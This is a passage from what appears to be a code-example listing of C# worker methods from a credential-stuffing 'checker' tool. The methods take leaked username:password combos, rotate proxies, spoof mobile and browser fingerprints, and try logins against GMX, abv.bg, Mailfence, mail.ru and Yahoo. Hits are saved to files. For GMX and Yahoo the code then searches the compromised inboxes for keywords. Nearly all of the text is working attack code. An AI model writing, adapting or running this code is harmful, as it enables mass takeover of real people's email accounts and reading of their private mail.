                        var      res1   = req.Get($"https://3c-bs.gmx.com/mail/mobile/start?device=smartphone&ott={ott}&resolution=540x960&fullcomp=true");
                        string   token  = Functions.LR(res1.Location, "jsessionid=", "").FirstOrDefault();
                        string[] token2 = token.Split('?');
                        //----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------//
                        req.AllowAutoRedirect = true;
                        try
                        {
                            foreach (string keyword in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                string final      = req.Get($"https://3c-bs.gmx.com/mail/mobile/search;jsessionid={token2[0]}?search={keyword}").ToString();
                                string mailscount = Functions.LR(final, "<dfn title=\"Search\">", "results for &quot;").FirstOrDefault();
                                if (mailscount == null || mailscount == "0")
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + keyword + " | Results: " + mailscount, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{keyword}.txt", combo + " | Keyword: " + keyword + " | Results: " + mailscount + Environment.NewLine);
                                    }
                                }
                            }
                        }
                        catch
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                    }
                    else if (res0.Location.Contains("https://www.gmx.com/logout/?ls=wd") || res0.Location.Contains("interceptiontype=AbuseHardLock"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 8
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    var USER_AGENT = "Dalvik/2.1.0 (Linux; U; Android 10.0; samsung RM15Y-NW Build/GVS49Y)";
                    var DEVICE_ID  = Guid.NewGuid().ToString();
                    request.AllowAutoRedirect = false;
                    request.AddHeader("Accept-Encoding", "gzip, deflate, br");
                    request.AddHeader("Connection", "close");
                    request.AddHeader("User-Agent", "" + USER_AGENT + "");
                    var    res0  = request.Post("https://passport.abv.bg/sc/oauth/token", "password="******"&captcha_challenge=&device_id=" + DEVICE_ID + "&os=2&grant_type=nativeclient_password&app_id=59831019&client_id=abv-mobile-apps&username="******"", "application/x-www-form-urlencoded");
                    string text0 = res0.ToString();

                    if (text0.Contains("\"access_token\":\"") || Convert.ToInt32(res0) == 200)
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text0.Contains("\"error\":\"unauthorized_user\"") || Convert.ToInt32(res0) == 401)
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 9
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    request.AddHeader("Cookie", "JSESSIONID=923B1F63DF0F57B1CC219C0BD4614D0C");
                    request.AddHeader("Host", "mailfence.com");
                    request.AddHeader("Origin", "https://mailfence.com");
                    request.AddHeader("Referer", "https://mailfence.com/");

                    var    res0  = request.Post("https://mailfence.com/usw?type=L&state=1", $"lf=mailfence&UserID={WebUtility.UrlEncode(credentials[0])}&Password={WebUtility.UrlEncode(credentials[1])}", "application/x-www-form-urlencoded");
                    string text0 = res0.ToString();

                    if (Convert.ToInt32(res0.StatusCode) == 302)
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text0.Contains("name=\"UserID\" placeholder=\"Invalid"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 10
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    request.UserAgent = "User-Agent: Android 3.14.18.9202 5.1.1:SM-A530F:ru.mail.cloud::null";
                    request.AddHeader("Pragma", "no-cache");
                    request.AddHeader("Accept", "*/*");
                    string str         = "password="******"&client_id=cloud-android&username="******"&grant_type=password";
                    string strResponse = request.Post("https://o2.mail.ru/token", str, "application/x-www-form-urlencoded").ToString();
                    {
                        if (strResponse.Contains("username or password is incorrect"))
                        {
                            Variables.Invalid++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                            }
                        }
                        else if (strResponse.Contains("access_token"))
                        {
                            Variables.Valid++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                if (Config.kekr_UI == "LOG")
                                {
                                    Console.WriteLine($"[+] {combo}", Color.Green);
                                }
                                File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                            }
                        }
                        else
                        {
                            Variables.combos.Enqueue(combo);
                            Variables.proxyIndex++;
                            Variables.Errors++;
                        }
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 11
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    request.AddHeader("Accept", "*/*");
                    request.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                    request.AddHeader("Pragma", "no-cache");
                    string input = request.Get("https://login.yahoo.com/").ToString();
                    string text  = Functions.LR(input, "name=\"crumb\" value=\"", "\"").FirstOrDefault();
                    string text2 = Functions.LR(input, "name=\"acrumb\" value=\"", "\"").FirstOrDefault();
                    string text3 = Functions.LR(input, "name=\"sessionIndex\" value=\"", "\"").FirstOrDefault();
                    request.AddHeader("Host", "login.yahoo.com");
                    request.AddHeader("Connection", "keep-alive");
                    request.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36");
                    request.AddHeader("X-Requested-With", "XMLHttpRequest");
                    request.AddHeader("Origin", "https://login.yahoo.com");
                    request.AddHeader("Sec-Fetch-Site", "same-origin");
                    request.AddHeader("Sec-Fetch-Mode", "cors");
                    request.AddHeader("Sec-Fetch-Dest", "empty");
                    request.AddHeader("Referer", "https://login.yahoo.com/");
                    request.AddHeader("Accept-Encoding", "gzip, deflate, br");
                    request.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    string text4 = request.Post("https://login.yahoo.com/", "browser-fp-data=%7B%22language%22%3A%22en-US%22%2C%22colorDepth%22%3A24%2C%22deviceMemory%22%3A8%2C%22pixelRatio%22%3A1%2C%22hardwareConcurrency%22%3A4%2C%22timezoneOffset%22%3A-120%2C%22timezone%22%3A%22Africa%2FCairo%22%2C%22sessionStorage%22%3A1%2C%22localStorage%22%3A1%2C%22indexedDb%22%3A1%2C%22openDatabase%22%3A1%2C%22cpuClass%22%3A%22unknown%22%2C%22platform%22%3A%22Win32%22%2C%22doNotTrack%22%3A%22unknown%22%2C%22plugins%22%3A%7B%22count%22%3A3%2C%22hash%22%3A%22e43a8bc708fc490225cde0663b28278c%22%7D%2C%22canvas%22%3A%22canvas%20winding%3Ayes~canvas%22%2C%22webgl%22%3A1%2C%22webglVendorAndRenderer%22%3A%22Google%20Inc.~ANGLE%20(NVIDIA%20GeForce%20GT%20710%20Direct3D11%20vs_5_0%20ps_5_0)%22%2C%22adBlock%22%3A0%2C%22hasLiedLanguages%22%3A0%2C%22hasLiedResolution%22%3A0%2C%22hasLiedOs%22%3A0%2C%22hasLiedBrowser%22%3A0%2C%22touchSupport%22%3A%7B%22points%22%3A0%2C%22event%22%3A0%2C%22start%22%3A0%7D%2C%22fonts%22%3A%7B%22count%22%3A33%2C%22hash%22%3A%22edeefd360161b4bf944ac045e41d0b21%22%7D%2C%22audio%22%3A%22124.04347527516074%22%2C%22resolution%22%3A%7B%22w%22%3A%221280%22%2C%22h%22%3A%221024%22%7D%2C%22availableResolution%22%3A%7B%22w%22%3A%22984%22%2C%22h%22%3A%221280%22%7D%2C%22ts%22%3A%7B%22serve%22%3A1611840196072%2C%22render%22%3A1611840197054%7D%7D&crumb=" + text + "&acrumb=" + text2 + "&sessionIndex=" + text3 + "&displayName=&deviceCapability=%7B%22pa%22%3A%7B%22status%22%3Afalse%7D%7D&username="******"&passwd=&signin=Next&persistent=y", "application/x-www-form-urlencoded").ToString();
                    if (text4.Contains("location\":\"/account/challenge/password"))
                    {
                        string str = Functions.LR(text4, "\"location\":\"", "\"}").FirstOrDefault();
                        request.AllowAutoRedirect = false;
                        request.AddHeader("Host", "login.yahoo.com");
                        request.AddHeader("Connection", "keep-alive");
                        request.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36");
                        request.AddHeader("X-Requested-With", "XMLHttpRequest");
                        request.AddHeader("Origin", "https://login.yahoo.com");
                        request.AddHeader("Sec-Fetch-Site", "same-origin");
                        request.AddHeader("Sec-Fetch-Mode", "cors");
                        request.AddHeader("Sec-Fetch-Dest", "empty");
                        request.AddHeader("Referer", "https://login.yahoo.com/");
                        request.AddHeader("Accept-Encoding", "gzip, deflate, br");
                        request.AddHeader("Accept-Language", "en-US,en;q=0.9");
                        string text5 = request.Post("https://login.yahoo.com" + str, "browser-fp-data=%7B%22language%22%3A%22en%22%2C%22colorDepth%22%3A32%2C%22deviceMemory%22%3A%22unknown%22%2C%22pixelRatio%22%3A2%2C%22hardwareConcurrency%22%3A%22unknown%22%2C%22timezoneOffset%22%3A-60%2C%22timezone%22%3A%22Africa%2FCasablanca%22%2C%22sessionStorage%22%3A1%2C%22localStorage%22%3A1%2C%22indexedDb%22%3A1%2C%22cpuClass%22%3A%22unknown%22%2C%22platform%22%3A%22iPhone%22%2C%22doNotTrack%22%3A%22unknown%22%2C%22plugins%22%3A%7B%22count%22%3A0%2C%22hash%22%3A%2224700f9f1986800ab4fcc880530dd0ed%22%7D%2C%22canvas%22%3A%22canvas+winding%3Ayes%7Ecanvas%22%2C%22webgl%22%3A1%2C%22webglVendorAndRenderer%22%3A%22Apple+Inc.%7EApple+GPU%22%2C%22adBlock%22%3A0%2C%22hasLiedLanguages%22%3A0%2C%22hasLiedResolution%22%3A0%2C%22hasLiedOs%22%3A1%2C%22hasLiedBrowser%22%3A0%2C%22touchSupport%22%3A%7B%22points%22%3A5%2C%22event%22%3A1%2C%22start%22%3A1%7D%2C%22fonts%22%3A%7B%22count%22%3A13%2C%22hash%22%3A%22ef5cebb772562bd1af018f7f69d53c9e%22%7D%2C%22audio%22%3A%2235.10892717540264%22%2C%22resolution%22%3A%7B%22w%22%3A%22414%22%2C%22h%22%3A%22896%22%7D%2C%22availableResolution%22%3A%7B%22w%22%3A%22896%22%2C%22h%22%3A%22414%22%7D%2C%22ts%22%3A%7B%22serve%22%3A1604943657070%2C%22render%22%3A1604943657274%7D%7D&crumb=" + text + "&acrumb=" + text2 + "&sessionIndex=" + text3 + "&displayName=" + credentials[0] + "&passwordContext=normal&password="******"&verifyPassword=Next", "application/x-www-form-urlencoded").ToString();
                        if (text5.Contains("https://guce.yahoo.com/consent") || text5.Contains("https://login.yahoo.com/account/comm-channel") || text5.Contains("https://login.yahoo.com/account/fb-messenger"))
                        {
RETRY:
                            request.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                            request.AddHeader("Pragma", "no-cache");
                            request.AddHeader("Accept", "*/*");
                            string pre   = request.Get("https://mail.yahoo.com/").ToString();
                            var    WSSID = Functions.LR(pre, "mailWssid\":\"", "\",\"calendarWssid").FirstOrDefault();
                            foreach (string line in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                string get = request.Get($"https://data.mail.yahoo.com/psearch/v3/srp?expand=MAIN&query={line}&appid=YMailNorrin&wssid={WSSID}").ToString();
                                if (get.Contains("EC-4003"))
                                {
                                    Variables.Errors++;
                                    goto RETRY;
                                }
                                else
                                {
                                    int a = Regex.Matches(get, line).Count;
                                    if (a == 0)
                                    {
                                        Variables.Custom++;
                                        Variables.Checked++;
                                        Variables.cps++;
                                        lock (Variables.WriteLock)
                                        {
                                            Variables.remove(combo);
                                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                        }
                                    }
                                    else
                                    {
                                        Variables.Valid++;
                                        Variables.Checked++;
                                        Variables.cps++;
                                        lock (Variables.WriteLock)
                                        {
                                            Variables.remove(combo);
                                            if (Config.kekr_UI == "LOG")
                                            {
                                                Console.WriteLine($"[+] " + combo + " | Keyword: " + line + " | Results: " + a, Color.Green);
                                            }
                                            File.AppendAllText(Variables.results + $"{line}.txt", combo + " | Keyword: " + line + " | Results: " + a + Environment.NewLine);
                                        }
                                    }
                                }
                            }
                        }
                        else if (text5.Contains("/account/challenge/password"))
                        {
                            Variables.Invalid++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                            }
                        }
                        else if (text5.Contains("/account/challenge/challenge-selector?"))
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                        else
                        {
                            Variables.combos.Enqueue(combo);
                            Variables.proxyIndex++;
                            Variables.Errors++;
                        }
                    }
                    else if (text4.Contains("error\":\"messages.INVALID_USERNAME") || text4.Contains("error\":\"messages.ERROR_NOTFOUND") || text4.Contains("messages.INVALID_IDENTIFIER") || text4.Contains("Sorry, we don't recognize this account"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (text4.Contains("/account/challenge/push") || text4.Contains("/account/challenge/yak-code"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text4.Contains("location\":\"/account/challenge/recaptcha") || text4.Contains("location\":\"/account/challenge/arkose"))
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 12
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string text4 = WebUtility.UrlEncode(credentials[1] ?? "");
                    string text5 = WebUtility.UrlEncode(credentials[0] ?? "");
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Upgrade-Insecure-Requests", "1");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 5.1.1; SM-G965N Build/R16NW.G965NKSU1ARC7; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36");
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3");
                    req.AddHeader("Accept-Encoding", "gzip, deflate");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    req.AddHeader("X-Requested-With", "com.yahoo.mobile.client.android.mail");
                    string input = req.Get("https://login.yahoo.com/?done=https%3A%2F%2Fapi.login.yahoo.com%2Foauth2%2Frequest_auth%3Fappid%3Dcom.yahoo.mobile.client.android.mail%26appsrcv%3D6.8.5%26src%3Dandroidphnx%26srcv%3D8.7.2%26intl%3Dus%26language%3Den-US%26sdk-device-id%3DODg2ODI4MDJlNGJlYzk4MjBkOTc5ZWRiMTA1Y2MyYWI1NWY1ZWU0Yjgz%26push%3D1%26.asdk_embedded%3D1%26theme%3Dlight%26redirect_uri%3Dcom.yahoo.mobile.client.android.mail%253A%252F%252Fphoenix%252Fcallback_auth%26client_id%3DnkjqLcZOZkjomfDS%26response_type%3Dcode%26state%3DZliubzGgAP1vTQu2UDaFuQ%26scope%3Dsdct-w%2520mail-w%2520sdpp-w%2520openid%2520device_sso%26code_challenge%3D2sP2GFXmZO5SN7yfyoK7DQIVWXb6UU19D_kmrwtG6DI%26code_challenge_method%3DS256%26nonce%3D9zH8cvQvM5tJDXWkw3rItI68TXAr3O13%26webview%3D1%26.scrumb%3D0&src=androidphnx&crumb=YhP68XDbqj4&redirect_uri=com.yahoo.mobile.client.android.mail%3A%2F%2Fphoenix%2Fcallback_auth&lang=en-US&intl=us&theme=light&add=1&client_id=nkjqLcZOZkjomfDS&appsrc=ymobilemail&appid=com.yahoo.mobile.client.android.mail&appsrcv=6.8.5&language=en-US&srcv=8.7.2&.asdk_embedded=1").ToString();
                    string text6 = Functions.LR(input, "<input type=\"hidden\" name=\"acrumb\" value=\"", "\"").FirstOrDefault();
                    string text7 = Functions.LR(input, "<input type=\"hidden\" name=\"sessionIndex\" value=\"", "\"").FirstOrDefault();
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Origin", "https://login.yahoo.com");
                    req.AddHeader("X-Requested-With", "XMLHttpRequest");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 5.1.1; SM-G965N Build/R16NW.G965NKSU1ARC7; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36");
                    req.AddHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
                    req.AddHeader("Accept", "*/*");
                    req.AddHeader("Referer", "https://login.yahoo.com/?done=https%3A%2F%2Fapi.login.yahoo.com%2Foauth2%2Frequest_auth%3Fappid%3Dcom.yahoo.mobile.client.android.mail%26appsrcv%3D6.8.5%26src%3Dandroidphnx%26srcv%3D8.7.2%26intl%3Dus%26language%3Den-US%26sdk-device-id%3DODg2ODI4MDJlNGJlYzk4MjBkOTc5ZWRiMTA1Y2MyYWI1NWY1ZWU0Yjgz%26push%3D1%26.asdk_embedded%3D1%26theme%3Dlight%26redirect_uri%3Dcom.yahoo.mobile.client.android.mail%253A%252F%252Fphoenix%252Fcallback_auth%26client_id%3DnkjqLcZOZkjomfDS%26response_type%3Dcode%26state%3DZliubzGgAP1vTQu2UDaFuQ%26scope%3Dsdct-w%2520mail-w%2520sdpp-w%2520openid%2520device_sso%26code_challenge%3D2sP2GFXmZO5SN7yfyoK7DQIVWXb6UU19D_kmrwtG6DI%26code_challenge_method%3DS256%26nonce%3D9zH8cvQvM5tJDXWkw3rItI68TXAr3O13%26webview%3D1%26.scrumb%3D0&src=androidphnx&crumb=YhP68XDbqj4&redirect_uri=com.yahoo.mobile.client.android.mail%3A%2F%2Fphoenix%2Fcallback_auth&lang=en-US&intl=us&theme=light&add=1&client_id=nkjqLcZOZkjomfDS&appsrc=ymobilemail&appid=com.yahoo.mobile.client.android.mail&appsrcv=6.8.5&language=en-US&srcv=8.7.2&.asdk_embedded=1");
                    req.AddHeader("Accept-Encoding", "gzip, deflate");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    string text8 = req.Post("https://login.yahoo.com/?done=https%3A%2F%2Fapi.login.yahoo.com%2Foauth2%2Frequest_auth%3Fappid%3Dcom.yahoo.mobile.client.android.mail%26appsrcv%3D6.8.5%26src%3Dandroidphnx%26srcv%3D8.7.2%26intl%3Dus%26language%3Den-US%26sdk-device-id%3DODg2ODI4MDJlNGJlYzk4MjBkOTc5ZWRiMTA1Y2MyYWI1NWY1ZWU0Yjgz%26push%3D1%26.asdk_embedded%3D1%26theme%3Dlight%26redirect_uri%3Dcom.yahoo.mobile.client.android.mail%253A%252F%252Fphoenix%252Fcallback_auth%26client_id%3DnkjqLcZOZkjomfDS%26response_type%3Dcode%26state%3DZliubzGgAP1vTQu2UDaFuQ%26scope%3Dsdct-w%2520mail-w%2520sdpp-w%2520openid%2520device_sso%26code_challenge%3D2sP2GFXmZO5SN7yfyoK7DQIVWXb6UU19D_kmrwtG6DI%26code_challenge_method%3DS256%26nonce%3D9zH8cvQvM5tJDXWkw3rItI68TXAr3O13%26webview%3D1%26.scrumb%3D0&src=androidphnx&crumb=" + text6 + "&redirect_uri=com.yahoo.mobile.client.android.mail%3A%2F%2Fphoenix%2Fcallback_auth&lang=en-US&intl=us&theme=light&add=1&client_id=nkjqLcZOZkjomfDS&appsrc=ymobilemail&appid=com.yahoo.mobile.client.android.mail&appsrcv=6.8.5&language=en-US&srcv=8.7.2&.asdk_embedded=1", "acrumb=" + text6 + "&sessionIndex=" + text7 + "&username="******"&passwd=&signin=Next&persistent=y", "application/x-www-form-urlencoded; charset=UTF-8").ToString();
                    if (text8.Contains("location\":\""))
                    {
                        string str = Functions.LR(text8, "location\":\"", "\"").FirstOrDefault();
                        req.AllowAutoRedirect = false;
                        req.AddHeader("Origin", "https://login.yahoo.com");
                        req.AddHeader("Accept-Encoding", "gzip, deflate, br");
                        req.AddHeader("Connection", "keep-alive");
                        req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                        req.AddHeader("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1");
                        req.AddHeader("Referer", "https://login.yahoo.com/");
                        req.AddHeader("Accept-Language", "en-us");
                        HttpResponse httpResponse = req.Post("https://login.yahoo.com" + str, "browser-fp-data=%7B%22language%22%3A%22en-gb%22%2C%22colorDepth%22%3A32%2C%22deviceMemory%22%3A%22unknown%22%2C%22pixelRatio%22%3A2%2C%22hardwareConcurrency%22%3A%22unknown%22%2C%22timezoneOffset%22%3A-120%2C%22timezone%22%3A%22Europe%2FZagreb%22%2C%22sessionStorage%22%3A1%2C%22localStorage%22%3A1%2C%22indexedDb%22%3A1%2C%22cpuClass%22%3A%22unknown%22%2C%22platform%22%3A%22iPhone%22%2C%22doNotTrack%22%3A%22unknown%22%2C%22plugins%22%3A%7B%22count%22%3A0%2C%22hash%22%3A%2224700f9f1986800ab4fcc880530dd0ed%22%7D%2C%22canvas%22%3A%22canvas+winding%3Ayes%7Ecanvas%22%2C%22webgl%22%3A1%2C%22webglVendorAndRenderer%22%3A%22Apple+Inc.%7EApple+GPU%22%2C%22adBlock%22%3A0%2C%22hasLiedLanguages%22%3A0%2C%22hasLiedResolution%22%3A0%2C%22hasLiedOs%22%3A1%2C%22hasLiedBrowser%22%3A0%2C%22touchSupport%22%3A%7B%22points%22%3A5%2C%22event%22%3A1%2C%22start%22%3A1%7D%2C%22fonts%22%3A%7B%22count%22%3A13%2C%22hash%22%3A%22ef5cebb772562bd1af018f7f69d53c9e%22%7D%2C%22audio%22%3A%2235.10893253237009%22%2C%22resolution%22%3A%7B%22w%22%3A%22375%22%2C%22h%22%3A%22667%22%7D%2C%22availableResolution%22%3A%7B%22w%22%3A%22667%22%2C%22h%22%3A%22375%22%7D%2C%22ts%22%3A%7B%22serve%22%3A1602267366727%2C%22render%22%3A1602267367187%7D%7D&crumb=u59YPxnhpU4&acrumb=" + text6 + "&sessionIndex=" + text7 + "&displayName=" + text5 + "&passwordContext=normal&password="******"&verifyPassword=Next", "application/x-www-form-urlencoded");
                        string       text9        = httpResponse.ToString();
                        string       text10       = Functions.LR(httpResponse["Location"].ToString(), "", "").FirstOrDefault();
                        if (text9.Contains("Redirecting to <a href=\"https://api.login.yahoo.com/oauth2/request_auth") && !text9.Contains("Redirecting to <a href=\"/account/challenge/password"))
                        {
RETRY:
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                            req.AddHeader("Pragma", "no-cache");
                            req.AddHeader("Accept", "*/*");
                            string pre   = req.Get("https://mail.yahoo.com/").ToString();
                            var    WSSID = Functions.LR(pre, "mailWssid\":\"", "\",\"calendarWssid").FirstOrDefault();
                            foreach (string line in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                string get = req.Get($"https://data.mail.yahoo.com/psearch/v3/srp?expand=MAIN&query={line}&appid=YMailNorrin&wssid={WSSID}").ToString();
                                if (get.Contains("EC-4003"))
                                {
                                    Variables.Errors++;
                                    goto RETRY;
                                }
                                else
                                {
